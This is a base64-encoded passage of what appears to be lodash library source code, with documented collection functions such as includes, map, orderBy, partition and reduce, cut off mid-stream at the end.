XG4gICAgICogW2BTYW1lVmFsdWVaZXJvYF0oaHR0cDovL2VjbWEtaW50ZXJuYXRpb25hbC5vcmcvZWNtYS0yNjIvNy4wLyNzZWMtc2FtZXZhbHVlemVybylcbiAgICAgKiBpcyB1c2VkIGZvciBlcXVhbGl0eSBjb21wYXJpc29ucy4gSWYgYGZyb21JbmRleGAgaXMgbmVnYXRpdmUsIGl0J3MgdXNlZCBhc1xuICAgICAqIHRoZSBvZmZzZXQgZnJvbSB0aGUgZW5kIG9mIGBjb2xsZWN0aW9uYC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBDb2xsZWN0aW9uXG4gICAgICogQHBhcmFtIHtBcnJheXxPYmplY3R8c3RyaW5nfSBjb2xsZWN0aW9uIFRoZSBjb2xsZWN0aW9uIHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gc2VhcmNoIGZvci5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW2Zyb21JbmRleD0wXSBUaGUgaW5kZXggdG8gc2VhcmNoIGZyb20uXG4gICAgICogQHBhcmFtLSB7T2JqZWN0fSBbZ3VhcmRdIEVuYWJsZXMgdXNlIGFzIGFuIGl0ZXJhdGVlIGZvciBtZXRob2RzIGxpa2UgYF8ucmVkdWNlYC5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBmb3VuZCwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmluY2x1ZGVzKFsxLCAyLCAzXSwgMSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pbmNsdWRlcyhbMSwgMiwgM10sIDEsIDIpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICpcbiAgICAgKiBfLmluY2x1ZGVzKHsgJ2EnOiAxLCAnYic6IDIgfSwgMSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pbmNsdWRlcygnYWJjZCcsICdiYycpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpbmNsdWRlcyhjb2xsZWN0aW9uLCB2YWx1ZSwgZnJvbUluZGV4LCBndWFyZCkge1xuICAgICAgY29sbGVjdGlvbiA9IGlzQXJyYXlMaWtlKGNvbGxlY3Rpb24pID8gY29sbGVjdGlvbiA6IHZhbHVlcyhjb2xsZWN0aW9uKTtcbiAgICAgIGZyb21JbmRleCA9IChmcm9tSW5kZXggJiYgIWd1YXJkKSA/IHRvSW50ZWdlcihmcm9tSW5kZXgpIDogMDtcblxuICAgICAgdmFyIGxlbmd0aCA9IGNvbGxlY3Rpb24ubGVuZ3RoO1xuICAgICAgaWYgKGZyb21JbmRleCA8IDApIHtcbiAgICAgICAgZnJvbUluZGV4ID0gbmF0aXZlTWF4KGxlbmd0aCArIGZyb21JbmRleCwgMCk7XG4gICAgICB9XG4gICAgICByZXR1cm4gaXNTdHJpbmcoY29sbGVjdGlvbilcbiAgICAgICAgPyAoZnJvbUluZGV4IDw9IGxlbmd0aCAmJiBjb2xsZWN0aW9uLmluZGV4T2YodmFsdWUsIGZyb21JbmRleCkgPiAtMSlcbiAgICAgICAgOiAoISFsZW5ndGggJiYgYmFzZUluZGV4T2YoY29sbGVjdGlvbiwgdmFsdWUsIGZyb21JbmRleCkgPiAtMSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogSW52b2tlcyB0aGUgbWV0aG9kIGF0IGBwYXRoYCBvZiBlYWNoIGVsZW1lbnQgaW4gYGNvbGxlY3Rpb25gLCByZXR1cm5pbmdcbiAgICAgKiBhbiBhcnJheSBvZiB0aGUgcmVzdWx0cyBvZiBlYWNoIGludm9rZWQgbWV0aG9kLiBBbnkgYWRkaXRpb25hbCBhcmd1bWVudHNcbiAgICAgKiBhcmUgcHJvdmlkZWQgdG8gZWFjaCBpbnZva2VkIG1ldGhvZC4gSWYgYHBhdGhgIGlzIGEgZnVuY3Rpb24sIGl0J3MgaW52b2tlZFxuICAgICAqIGZvciwgYW5kIGB0aGlzYCBib3VuZCB0bywgZWFjaCBlbGVtZW50IGluIGBjb2xsZWN0aW9uYC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBDb2xsZWN0aW9uXG4gICAgICogQHBhcmFtIHtBcnJheXxPYmplY3R9IGNvbGxlY3Rpb24gVGhlIGNvbGxlY3Rpb24gdG8gaXRlcmF0ZSBvdmVyLlxuICAgICAqIEBwYXJhbSB7QXJyYXl8RnVuY3Rpb258c3RyaW5nfSBwYXRoIFRoZSBwYXRoIG9mIHRoZSBtZXRob2QgdG8gaW52b2tlIG9yXG4gICAgICogIHRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHBhcmFtIHsuLi4qfSBbYXJnc10gVGhlIGFyZ3VtZW50cyB0byBpbnZva2UgZWFjaCBtZXRob2Qgd2l0aC5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIGFycmF5IG9mIHJlc3VsdHMuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uaW52b2tlTWFwKFtbNSwgMSwgN10sIFszLCAyLCAxXV0sICdzb3J0Jyk7XG4gICAgICogLy8gPT4gW1sxLCA1LCA3XSwgWzEsIDIsIDNdXVxuICAgICAqXG4gICAgICogXy5pbnZva2VNYXAoWzEyMywgNDU2XSwgU3RyaW5nLnByb3RvdHlwZS5zcGxpdCwgJycpO1xuICAgICAqIC8vID0+IFtbJzEnLCAnMicsICczJ10sIFsnNCcsICc1JywgJzYnXV1cbiAgICAgKi9cbiAgICB2YXIgaW52b2tlTWFwID0gYmFzZVJlc3QoZnVuY3Rpb24oY29sbGVjdGlvbiwgcGF0aCwgYXJncykge1xuICAgICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgICAgaXNGdW5jID0gdHlwZW9mIHBhdGggPT0gJ2Z1bmN0aW9uJyxcbiAgICAgICAgICByZXN1bHQgPSBpc0FycmF5TGlrZShjb2xsZWN0aW9uKSA/IEFycmF5KGNvbGxlY3Rpb24ubGVuZ3RoKSA6IFtdO1xuXG4gICAgICBiYXNlRWFjaChjb2xsZWN0aW9uLCBmdW5jdGlvbih2YWx1ZSkge1xuICAgICAgICByZXN1bHRbKytpbmRleF0gPSBpc0Z1bmMgPyBhcHBseShwYXRoLCB2YWx1ZSwgYXJncykgOiBiYXNlSW52b2tlKHZhbHVlLCBwYXRoLCBhcmdzKTtcbiAgICAgIH0pO1xuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYW4gb2JqZWN0IGNvbXBvc2VkIG9mIGtleXMgZ2VuZXJhdGVkIGZyb20gdGhlIHJlc3VsdHMgb2YgcnVubmluZ1xuICAgICAqIGVhY2ggZWxlbWVudCBvZiBgY29sbGVjdGlvbmAgdGhydSBgaXRlcmF0ZWVgLiBUaGUgY29ycmVzcG9uZGluZyB2YWx1ZSBvZlxuICAgICAqIGVhY2gga2V5IGlzIHRoZSBsYXN0IGVsZW1lbnQgcmVzcG9uc2libGUgZm9yIGdlbmVyYXRpbmcgdGhlIGtleS4gVGhlXG4gICAgICogaXRlcmF0ZWUgaXMgaW52b2tlZCB3aXRoIG9uZSBhcmd1bWVudDogKHZhbHVlKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBDb2xsZWN0aW9uXG4gICAgICogQHBhcmFtIHtBcnJheXxPYmplY3R9IGNvbGxlY3Rpb24gVGhlIGNvbGxlY3Rpb24gdG8gaXRlcmF0ZSBvdmVyLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtpdGVyYXRlZT1fLmlkZW50aXR5XSBUaGUgaXRlcmF0ZWUgdG8gdHJhbnNmb3JtIGtleXMuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgY29tcG9zZWQgYWdncmVnYXRlIG9iamVjdC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIGFycmF5ID0gW1xuICAgICAqICAgeyAnZGlyJzogJ2xlZnQnLCAnY29kZSc6IDk3IH0sXG4gICAgICogICB7ICdkaXInOiAncmlnaHQnLCAnY29kZSc6IDEwMCB9XG4gICAgICogXTtcbiAgICAgKlxuICAgICAqIF8ua2V5QnkoYXJyYXksIGZ1bmN0aW9uKG8pIHtcbiAgICAgKiAgIHJldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKG8uY29kZSk7XG4gICAgICogfSk7XG4gICAgICogLy8gPT4geyAnYSc6IHsgJ2Rpcic6ICdsZWZ0JywgJ2NvZGUnOiA5NyB9LCAnZCc6IHsgJ2Rpcic6ICdyaWdodCcsICdjb2RlJzogMTAwIH0gfVxuICAgICAqXG4gICAgICogXy5rZXlCeShhcnJheSwgJ2RpcicpO1xuICAgICAqIC8vID0+IHsgJ2xlZnQnOiB7ICdkaXInOiAnbGVmdCcsICdjb2RlJzogOTcgfSwgJ3JpZ2h0JzogeyAnZGlyJzogJ3JpZ2h0JywgJ2NvZGUnOiAxMDAgfSB9XG4gICAgICovXG4gICAgdmFyIGtleUJ5ID0gY3JlYXRlQWdncmVnYXRvcihmdW5jdGlvbihyZXN1bHQsIHZhbHVlLCBrZXkpIHtcbiAgICAgIGJhc2VBc3NpZ25WYWx1ZShyZXN1bHQsIGtleSwgdmFsdWUpO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiB2YWx1ZXMgYnkgcnVubmluZyBlYWNoIGVsZW1lbnQgaW4gYGNvbGxlY3Rpb25gIHRocnVcbiAgICAgKiBgaXRlcmF0ZWVgLiBUaGUgaXRlcmF0ZWUgaXMgaW52b2tlZCB3aXRoIHRocmVlIGFyZ3VtZW50czpcbiAgICAgKiAodmFsdWUsIGluZGV4fGtleSwgY29sbGVjdGlvbikuXG4gICAgICpcbiAgICAgKiBNYW55IGxvZGFzaCBtZXRob2RzIGFyZSBndWFyZGVkIHRvIHdvcmsgYXMgaXRlcmF0ZWVzIGZvciBtZXRob2RzIGxpa2VcbiAgICAgKiBgXy5ldmVyeWAsIGBfLmZpbHRlcmAsIGBfLm1hcGAsIGBfLm1hcFZhbHVlc2AsIGBfLnJlamVjdGAsIGFuZCBgXy5zb21lYC5cbiAgICAgKlxuICAgICAqIFRoZSBndWFyZGVkIG1ldGhvZHMgYXJlOlxuICAgICAqIGBhcnlgLCBgY2h1bmtgLCBgY3VycnlgLCBgY3VycnlSaWdodGAsIGBkcm9wYCwgYGRyb3BSaWdodGAsIGBldmVyeWAsXG4gICAgICogYGZpbGxgLCBgaW52ZXJ0YCwgYHBhcnNlSW50YCwgYHJhbmRvbWAsIGByYW5nZWAsIGByYW5nZVJpZ2h0YCwgYHJlcGVhdGAsXG4gICAgICogYHNhbXBsZVNpemVgLCBgc2xpY2VgLCBgc29tZWAsIGBzb3J0QnlgLCBgc3BsaXRgLCBgdGFrZWAsIGB0YWtlUmlnaHRgLFxuICAgICAqIGB0ZW1wbGF0ZWAsIGB0cmltYCwgYHRyaW1FbmRgLCBgdHJpbVN0YXJ0YCwgYW5kIGB3b3Jkc2BcbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBDb2xsZWN0aW9uXG4gICAgICogQHBhcmFtIHtBcnJheXxPYmplY3R9IGNvbGxlY3Rpb24gVGhlIGNvbGxlY3Rpb24gdG8gaXRlcmF0ZSBvdmVyLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtpdGVyYXRlZT1fLmlkZW50aXR5XSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IG1hcHBlZCBhcnJheS5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogZnVuY3Rpb24gc3F1YXJlKG4pIHtcbiAgICAgKiAgIHJldHVybiBuICogbjtcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiBfLm1hcChbNCwgOF0sIHNxdWFyZSk7XG4gICAgICogLy8gPT4gWzE2LCA2NF1cbiAgICAgKlxuICAgICAqIF8ubWFwKHsgJ2EnOiA0LCAnYic6IDggfSwgc3F1YXJlKTtcbiAgICAgKiAvLyA9PiBbMTYsIDY0XSAoaXRlcmF0aW9uIG9yZGVyIGlzIG5vdCBndWFyYW50ZWVkKVxuICAgICAqXG4gICAgICogdmFyIHVzZXJzID0gW1xuICAgICAqICAgeyAndXNlcic6ICdiYXJuZXknIH0sXG4gICAgICogICB7ICd1c2VyJzogJ2ZyZWQnIH1cbiAgICAgKiBdO1xuICAgICAqXG4gICAgICogLy8gVGhlIGBfLnByb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5tYXAodXNlcnMsICd1c2VyJyk7XG4gICAgICogLy8gPT4gWydiYXJuZXknLCAnZnJlZCddXG4gICAgICovXG4gICAgZnVuY3Rpb24gbWFwKGNvbGxlY3Rpb24sIGl0ZXJhdGVlKSB7XG4gICAgICB2YXIgZnVuYyA9IGlzQXJyYXkoY29sbGVjdGlvbikgPyBhcnJheU1hcCA6IGJhc2VNYXA7XG4gICAgICByZXR1cm4gZnVuYyhjb2xsZWN0aW9uLCBnZXRJdGVyYXRlZShpdGVyYXRlZSwgMykpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uc29ydEJ5YCBleGNlcHQgdGhhdCBpdCBhbGxvd3Mgc3BlY2lmeWluZyB0aGUgc29ydFxuICAgICAqIG9yZGVycyBvZiB0aGUgaXRlcmF0ZWVzIHRvIHNvcnQgYnkuIElmIGBvcmRlcnNgIGlzIHVuc3BlY2lmaWVkLCBhbGwgdmFsdWVzXG4gICAgICogYXJlIHNvcnRlZCBpbiBhc2NlbmRpbmcgb3JkZXIuIE90aGVyd2lzZSwgc3BlY2lmeSBhbiBvcmRlciBvZiBcImRlc2NcIiBmb3JcbiAgICAgKiBkZXNjZW5kaW5nIG9yIFwiYXNjXCIgZm9yIGFzY2VuZGluZyBzb3J0IG9yZGVyIG9mIGNvcnJlc3BvbmRpbmcgdmFsdWVzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IENvbGxlY3Rpb25cbiAgICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtBcnJheVtdfEZ1bmN0aW9uW118T2JqZWN0W118c3RyaW5nW119IFtpdGVyYXRlZXM9W18uaWRlbnRpdHldXVxuICAgICAqICBUaGUgaXRlcmF0ZWVzIHRvIHNvcnQgYnkuXG4gICAgICogQHBhcmFtIHtzdHJpbmdbXX0gW29yZGVyc10gVGhlIHNvcnQgb3JkZXJzIG9mIGBpdGVyYXRlZXNgLlxuICAgICAqIEBwYXJhbS0ge09iamVjdH0gW2d1YXJkXSBFbmFibGVzIHVzZSBhcyBhbiBpdGVyYXRlZSBmb3IgbWV0aG9kcyBsaWtlIGBfLnJlZHVjZWAuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgc29ydGVkIGFycmF5LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgdXNlcnMgPSBbXG4gICAgICogICB7ICd1c2VyJzogJ2ZyZWQnLCAgICdhZ2UnOiA0OCB9LFxuICAgICAqICAgeyAndXNlcic6ICdiYXJuZXknLCAnYWdlJzogMzQgfSxcbiAgICAgKiAgIHsgJ3VzZXInOiAnZnJlZCcsICAgJ2FnZSc6IDQwIH0sXG4gICAgICogICB7ICd1c2VyJzogJ2Jhcm5leScsICdhZ2UnOiAzNiB9XG4gICAgICogXTtcbiAgICAgKlxuICAgICAqIC8vIFNvcnQgYnkgYHVzZXJgIGluIGFzY2VuZGluZyBvcmRlciBhbmQgYnkgYGFnZWAgaW4gZGVzY2VuZGluZyBvcmRlci5cbiAgICAgKiBfLm9yZGVyQnkodXNlcnMsIFsndXNlcicsICdhZ2UnXSwgWydhc2MnLCAnZGVzYyddKTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbWydiYXJuZXknLCAzNl0sIFsnYmFybmV5JywgMzRdLCBbJ2ZyZWQnLCA0OF0sIFsnZnJlZCcsIDQwXV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBvcmRlckJ5KGNvbGxlY3Rpb24sIGl0ZXJhdGVlcywgb3JkZXJzLCBndWFyZCkge1xuICAgICAgaWYgKGNvbGxlY3Rpb24gPT0gbnVsbCkge1xuICAgICAgICByZXR1cm4gW107XG4gICAgICB9XG4gICAgICBpZiAoIWlzQXJyYXkoaXRlcmF0ZWVzKSkge1xuICAgICAgICBpdGVyYXRlZXMgPSBpdGVyYXRlZXMgPT0gbnVsbCA/IFtdIDogW2l0ZXJhdGVlc107XG4gICAgICB9XG4gICAgICBvcmRlcnMgPSBndWFyZCA/IHVuZGVmaW5lZCA6IG9yZGVycztcbiAgICAgIGlmICghaXNBcnJheShvcmRlcnMpKSB7XG4gICAgICAgIG9yZGVycyA9IG9yZGVycyA9PSBudWxsID8gW10gOiBbb3JkZXJzXTtcbiAgICAgIH1cbiAgICAgIHJldHVybiBiYXNlT3JkZXJCeShjb2xsZWN0aW9uLCBpdGVyYXRlZXMsIG9yZGVycyk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiBlbGVtZW50cyBzcGxpdCBpbnRvIHR3byBncm91cHMsIHRoZSBmaXJzdCBvZiB3aGljaFxuICAgICAqIGNvbnRhaW5zIGVsZW1lbnRzIGBwcmVkaWNhdGVgIHJldHVybnMgdHJ1dGh5IGZvciwgdGhlIHNlY29uZCBvZiB3aGljaFxuICAgICAqIGNvbnRhaW5zIGVsZW1lbnRzIGBwcmVkaWNhdGVgIHJldHVybnMgZmFsc2V5IGZvci4gVGhlIHByZWRpY2F0ZSBpc1xuICAgICAqIGludm9rZWQgd2l0aCBvbmUgYXJndW1lbnQ6ICh2YWx1ZSkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgQ29sbGVjdGlvblxuICAgICAqIEBwYXJhbSB7QXJyYXl8T2JqZWN0fSBjb2xsZWN0aW9uIFRoZSBjb2xsZWN0aW9uIHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbcHJlZGljYXRlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBhcnJheSBvZiBncm91cGVkIGVsZW1lbnRzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgdXNlcnMgPSBbXG4gICAgICogICB7ICd1c2VyJzogJ2Jhcm5leScsICAnYWdlJzogMzYsICdhY3RpdmUnOiBmYWxzZSB9LFxuICAgICAqICAgeyAndXNlcic6ICdmcmVkJywgICAgJ2FnZSc6IDQwLCAnYWN0aXZlJzogdHJ1ZSB9LFxuICAgICAqICAgeyAndXNlcic6ICdwZWJibGVzJywgJ2FnZSc6IDEsICAnYWN0aXZlJzogZmFsc2UgfVxuICAgICAqIF07XG4gICAgICpcbiAgICAgKiBfLnBhcnRpdGlvbih1c2VycywgZnVuY3Rpb24obykgeyByZXR1cm4gby5hY3RpdmU7IH0pO1xuICAgICAqIC8vID0+IG9iamVjdHMgZm9yIFtbJ2ZyZWQnXSwgWydiYXJuZXknLCAncGViYmxlcyddXVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLm1hdGNoZXNgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLnBhcnRpdGlvbih1c2VycywgeyAnYWdlJzogMSwgJ2FjdGl2ZSc6IGZhbHNlIH0pO1xuICAgICAqIC8vID0+IG9iamVjdHMgZm9yIFtbJ3BlYmJsZXMnXSwgWydiYXJuZXknLCAnZnJlZCddXVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLm1hdGNoZXNQcm9wZXJ0eWAgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8ucGFydGl0aW9uKHVzZXJzLCBbJ2FjdGl2ZScsIGZhbHNlXSk7XG4gICAgICogLy8gPT4gb2JqZWN0cyBmb3IgW1snYmFybmV5JywgJ3BlYmJsZXMnXSwgWydmcmVkJ11dXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ucHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLnBhcnRpdGlvbih1c2VycywgJ2FjdGl2ZScpO1xuICAgICAqIC8vID0+IG9iamVjdHMgZm9yIFtbJ2ZyZWQnXSwgWydiYXJuZXknLCAncGViYmxlcyddXVxuICAgICAqL1xuICAgIHZhciBwYXJ0aXRpb24gPSBjcmVhdGVBZ2dyZWdhdG9yKGZ1bmN0aW9uKHJlc3VsdCwgdmFsdWUsIGtleSkge1xuICAgICAgcmVzdWx0W2tleSA/IDAgOiAxXS5wdXNoKHZhbHVlKTtcbiAgICB9LCBmdW5jdGlvbigpIHsgcmV0dXJuIFtbXSwgW11dOyB9KTtcblxuICAgIC8qKlxuICAgICAqIFJlZHVjZXMgYGNvbGxlY3Rpb25gIHRvIGEgdmFsdWUgd2hpY2ggaXMgdGhlIGFjY3VtdWxhdGVkIHJlc3VsdCBvZiBydW5uaW5nXG4gICAgICogZWFjaCBlbGVtZW50IGluIGBjb2xsZWN0aW9uYCB0aHJ1IGBpdGVyYXRlZWAsIHdoZXJlIGVhY2ggc3VjY2Vzc2l2ZVxuICAgICAqIGludm9jYXRpb24gaXMgc3VwcGxpZWQgdGhlIHJldHVybiB2YWx1ZSBvZiB0aGUgcHJldmlvdXMuIElmIGBhY2N1bXVsYXRvcmBcbiAgICAgKiBpcyBub3QgZ2l2ZW4sIHRoZSBmaXJzdCBlbGVtZW50IG9mIGBjb2xsZWN0aW9uYCBpcyB1c2VkIGFzIHRoZSBpbml0aWFsXG4gICAgICogdmFsdWUuIFRoZSBpdGVyYXRlZSBpcyBpbnZva2VkIHdpdGggZm91ciBhcmd1bWVudHM6XG4gICAgICogKGFjY3VtdWxhdG9yLCB2YWx1ZSwgaW5kZXh8a2V5LCBjb2xsZWN0aW9uKS5cbiAgICAgKlxuICAgICAqIE1hbnkgbG9kYXNoIG1ldGhvZHMgYXJlIGd1YXJkZWQgdG8gd29yayBhcyBpdGVyYXRlZXMgZm9yIG1ldGhvZHMgbGlrZVxuICAgICAqIGBfLnJlZHVjZWAsIGBfLnJlZHVjZVJpZ2h0YCwgYW5kIGBfLnRyYW5zZm9ybWAuXG4gICAgICpcbiAgICAgKiBUaGUgZ3VhcmRlZCBtZXRob2RzIGFyZTpcbiAgICAgKiBgYXNzaWduYCwgYGRlZmF1bHRzYCwgYGRlZmF1bHRzRGVlcGAsIGBpbmNsdWRlc2AsIGBtZXJnZWAsIGBvcmRlckJ5YCxcbiAgICAgKiBhbmQgYHNvcnRCeWBcbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBDb2xsZWN0aW9uXG4gICAgICogQHBhcmFtIHtBcnJheXxPYmplY3R9IGNvbGxlY3Rpb24gVGhlIGNvbGxlY3Rpb24gdG8gaXRlcmF0ZSBvdmVyLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtpdGVyYXRlZT1fLmlkZW50aXR5XSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgICAqIEBwYXJhbSB7Kn0gW2FjY3VtdWxhdG9yXSBUaGUgaW5pdGlhbCB2YWx1ZS5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgYWNjdW11bGF0ZWQgdmFsdWUuXG4gICAgICogQHNlZSBfLnJlZHVjZVJpZ2h0XG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8ucmVkdWNlKFsxLCAyXSwgZnVuY3Rpb24oc3VtLCBuKSB7XG4gICAgICogICByZXR1cm4gc3VtICsgbjtcbiAgICAgKiB9LCAwKTtcbiAgICAgKiAvLyA9PiAzXG4gICAgICpcbiAgICAgKiBfLnJlZHVjZSh7ICdhJzogMSwgJ2InOiAyLCAnYyc6IDEgfSwgZnVuY3Rpb24ocmVzdWx0LCB2YWx1ZSwga2V5KSB7XG4gICAgICogICAocmVzdWx0W3ZhbHVlXSB8fCAocmVzdWx0W3ZhbHVlXSA9IFtdKSkucHVzaChrZXkpO1xuICAgICAqICAgcmV0dXJuIHJlc3VsdDtcbiAgICAgKiB9LCB7fSk7XG4gICAgICogLy8gPT4geyAnMSc6IFsnYScsICdjJ10sICcyJzogWydiJ10gfSAoaXRlcmF0aW9uIG9yZGVyIGlzIG5vdCBndWFyYW50ZWVkKVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHJlZHVjZShjb2xsZWN0aW9uLCBpdGVyYXRlZSwgYWNjdW11bGF0b3IpIHtcbiAgICAgIHZhciBmdW5jID0gaXNBcnJheShjb2xsZWN0aW9uKSA/IGFycmF5UmVkdWNlIDogYmFzZVJlZHVjZSxcbiAgICAgICAgICBpbml0QWNjdW0gPSBhcmd1bWVudHMubGVuZ3RoIDwgMztcblxuICAgICAgcmV0dXJuIGZ1bmMoY29sbGVjdGlvbiwgZ2V0SXRlcmF0ZWUoaXRlcmF0ZWUsIDQpLCBhY2N1bXVsYXRvciwgaW5pdEFjY3VtLCBiYXNlRWFjaCk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5yZWR1Y2VgIGV4Y2VwdCB0aGF0IGl0IGl0ZXJhdGVzIG92ZXIgZWxlbWVudHMgb2ZcbiAgICAgKiBgY29sbGVjdGlvbmAgZnJvbSByaWdodCB0byBsZWZ0LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IENvbGxlY3Rpb25cbiAgICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHBhcmFtIHsqfSBbYWNjdW11bGF0b3JdIFRoZSBpbml0aWFsIHZhbHVlLlxuICAgICAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIHRoZSBhY2N1bXVsYXRlZCB2YWx1ZS5cbiAgICAgKiBAc2VlIF8ucmVkdWNlXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBhcnJheSA9IFtbMCwgMV0sIFsyLCAzXSwgWzQsIDVdXTtcbiAgICAgKlxuICAgICAqIF8ucmVkdWNlUmlnaHQoYXJyYXksIGZ1bmN0aW9uKGZsYXR0ZW5lZCwgb3RoZXIpIHtcbiAgICAgKiAgIHJldHVybiBmbGF0dGVuZWQuY29uY2F0KG90aGVyKTtcbiAgICAgKiB9LCBbXSk7XG4gICAgICogLy8gPT4gWzQsIDUsIDIsIDMsIDAsIDFdXG4gICAgICovXG4gICAgZnVuY3Rpb24gcmVkdWNlUmlnaHQoY29sbGVjdGlvbiwgaXRlcmF0ZWUsIGFjY3VtdWxhdG9yKSB7XG4gICAgICB2YXIgZnVuYyA9IGlzQXJyYXkoY29sbGVjdGlvbikgPyBhcnJheVJlZHVjZVJpZ2h0IDogYmFzZVJlZHVjZSxcbiAgICAgICAgICBpbml0QWNjdW0gPSBhcmd1bWVudHMubGVuZ3RoIDwgMztcblxuICAgICAgcmV0dXJuIGZ1bmMoY29sbGVjdGlvbiwgZ2V0SXRlcmF0ZWUoaXRlcmF0ZWUsIDQpLCBhY2N1bXVsYXRvciwgaW5pdEFjY3VtLCBiYXNlRWFjaFJpZ2h0KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgb3Bwb3NpdGUgb2YgYF8uZmlsdGVyYDsgdGhpcyBtZXRob2QgcmV0dXJucyB0aGUgZWxlb